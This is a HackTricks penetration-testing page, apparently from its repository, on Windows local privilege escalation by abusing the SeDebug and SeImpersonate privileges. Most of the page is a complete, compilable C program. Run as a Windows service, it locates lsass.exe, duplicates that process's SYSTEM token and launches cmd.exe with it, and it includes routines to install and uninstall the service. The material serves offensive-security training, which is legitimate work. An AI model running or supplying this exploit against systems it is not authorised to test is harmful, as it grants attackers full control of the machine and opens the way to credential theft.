251 lines
9.4 KiB
Markdown
251 lines
9.4 KiB
Markdown
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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The following code **exploits the privileges SeDebug and SeImpersonate** to copy the token from a **process running as SYSTEM** and with **all the token privileges**. \
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In this case, this code can be compiled and used as a **Windows service binary** to check that it's working.\
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However, the main part of the **code where the elevation occurs** is inside the **`Exploit`** **function**.\
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Inside of that function you can see that the **process **_**lsass.exe**_** is searched**, then it's **token is copied**, and finally that **token is used to spawn a new **_**cmd.exe**_** with all the privileges of the copied token**.
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**Other processes** running as SYSTEM with all or most of the token privileges are: _**services.exe**_**, **_**svhost.exe**_ (on of the firsts ones), _**wininit.exe**_**, **_**csrss.exe**_... (_remember that you won't be able to copy a token from a Protected process_). Moreover, you can use the tool [Process Hacker](https://processhacker.sourceforge.io/downloads.php) running as administrator to see the tokens of a process.
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```c
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#include <windows.h>
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#include <tlhelp32.h>
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#include <tchar.h>
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#pragma comment (lib, "advapi32")
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TCHAR* serviceName = TEXT("TokenDanceSrv");
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SERVICE_STATUS serviceStatus;
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SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
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HANDLE stopServiceEvent = 0;
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//This function will find the pid of a process by name
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int FindTarget(const char *procname) {
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HANDLE hProcSnap;
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PROCESSENTRY32 pe32;
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int pid = 0;
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hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
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if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
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pe32.dwSize = sizeof(PROCESSENTRY32);
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if (!Process32First(hProcSnap, &pe32)) {
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CloseHandle(hProcSnap);
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return 0;
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}
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while (Process32Next(hProcSnap, &pe32)) {
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if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
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pid = pe32.th32ProcessID;
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break;
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}
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}
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CloseHandle(hProcSnap);
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return pid;
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}
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int Exploit(void) {
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HANDLE hSystemToken, hSystemProcess;
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HANDLE dupSystemToken = NULL;
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HANDLE hProcess, hThread;
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STARTUPINFOA si;
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PROCESS_INFORMATION pi;
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int pid = 0;
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ZeroMemory(&si, sizeof(si));
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si.cb = sizeof(si);
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ZeroMemory(&pi, sizeof(pi));
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// open high privileged process
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if ( pid = FindTarget("lsass.exe") )
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hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
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else
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return -1;
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// extract high privileged token
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if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
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CloseHandle(hSystemProcess);
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return -1;
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}
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// make a copy of a token
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DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);
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// and spawn a new process with higher privs
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CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
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NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
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return 0;
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}
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void WINAPI ServiceControlHandler( DWORD controlCode ) {
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switch ( controlCode ) {
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case SERVICE_CONTROL_SHUTDOWN:
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case SERVICE_CONTROL_STOP:
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serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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SetEvent( stopServiceEvent );
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return;
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case SERVICE_CONTROL_PAUSE:
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break;
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case SERVICE_CONTROL_CONTINUE:
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break;
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case SERVICE_CONTROL_INTERROGATE:
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break;
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default:
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break;
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}
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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}
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void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
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// initialise service status
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serviceStatus.dwServiceType = SERVICE_WIN32;
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serviceStatus.dwCurrentState = SERVICE_STOPPED;
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serviceStatus.dwControlsAccepted = 0;
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serviceStatus.dwWin32ExitCode = NO_ERROR;
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serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
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serviceStatus.dwCheckPoint = 0;
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serviceStatus.dwWaitHint = 0;
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serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
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if ( serviceStatusHandle ) {
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// service is starting
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serviceStatus.dwCurrentState = SERVICE_START_PENDING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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// do initialisation here
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stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
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// running
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serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
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serviceStatus.dwCurrentState = SERVICE_RUNNING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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Exploit();
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WaitForSingleObject( stopServiceEvent, -1 );
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// service was stopped
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serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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// do cleanup here
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CloseHandle( stopServiceEvent );
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stopServiceEvent = 0;
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// service is now stopped
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serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
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serviceStatus.dwCurrentState = SERVICE_STOPPED;
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SetServiceStatus( serviceStatusHandle, &serviceStatus );
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}
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}
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void InstallService() {
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SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
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if ( serviceControlManager ) {
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TCHAR path[ _MAX_PATH + 1 ];
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if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
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SC_HANDLE service = CreateService( serviceControlManager,
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serviceName, serviceName,
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SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
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SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
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0, 0, 0, 0, 0 );
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if ( service )
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CloseServiceHandle( service );
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}
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CloseServiceHandle( serviceControlManager );
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}
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}
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void UninstallService() {
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SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
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if ( serviceControlManager ) {
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SC_HANDLE service = OpenService( serviceControlManager,
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serviceName, SERVICE_QUERY_STATUS | DELETE );
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if ( service ) {
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SERVICE_STATUS serviceStatus;
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if ( QueryServiceStatus( service, &serviceStatus ) ) {
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if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
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DeleteService( service );
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}
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CloseServiceHandle( service );
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}
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CloseServiceHandle( serviceControlManager );
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}
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}
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int _tmain( int argc, TCHAR* argv[] )
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{
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if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
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InstallService();
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}
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else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
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UninstallService();
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}
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else {
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SERVICE_TABLE_ENTRY serviceTable[] = {
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{ serviceName, ServiceMain },
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{ 0, 0 }
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};
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StartServiceCtrlDispatcher( serviceTable );
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}
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return 0;
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}
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```
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**The code of this example was shared by an anonymous person.**
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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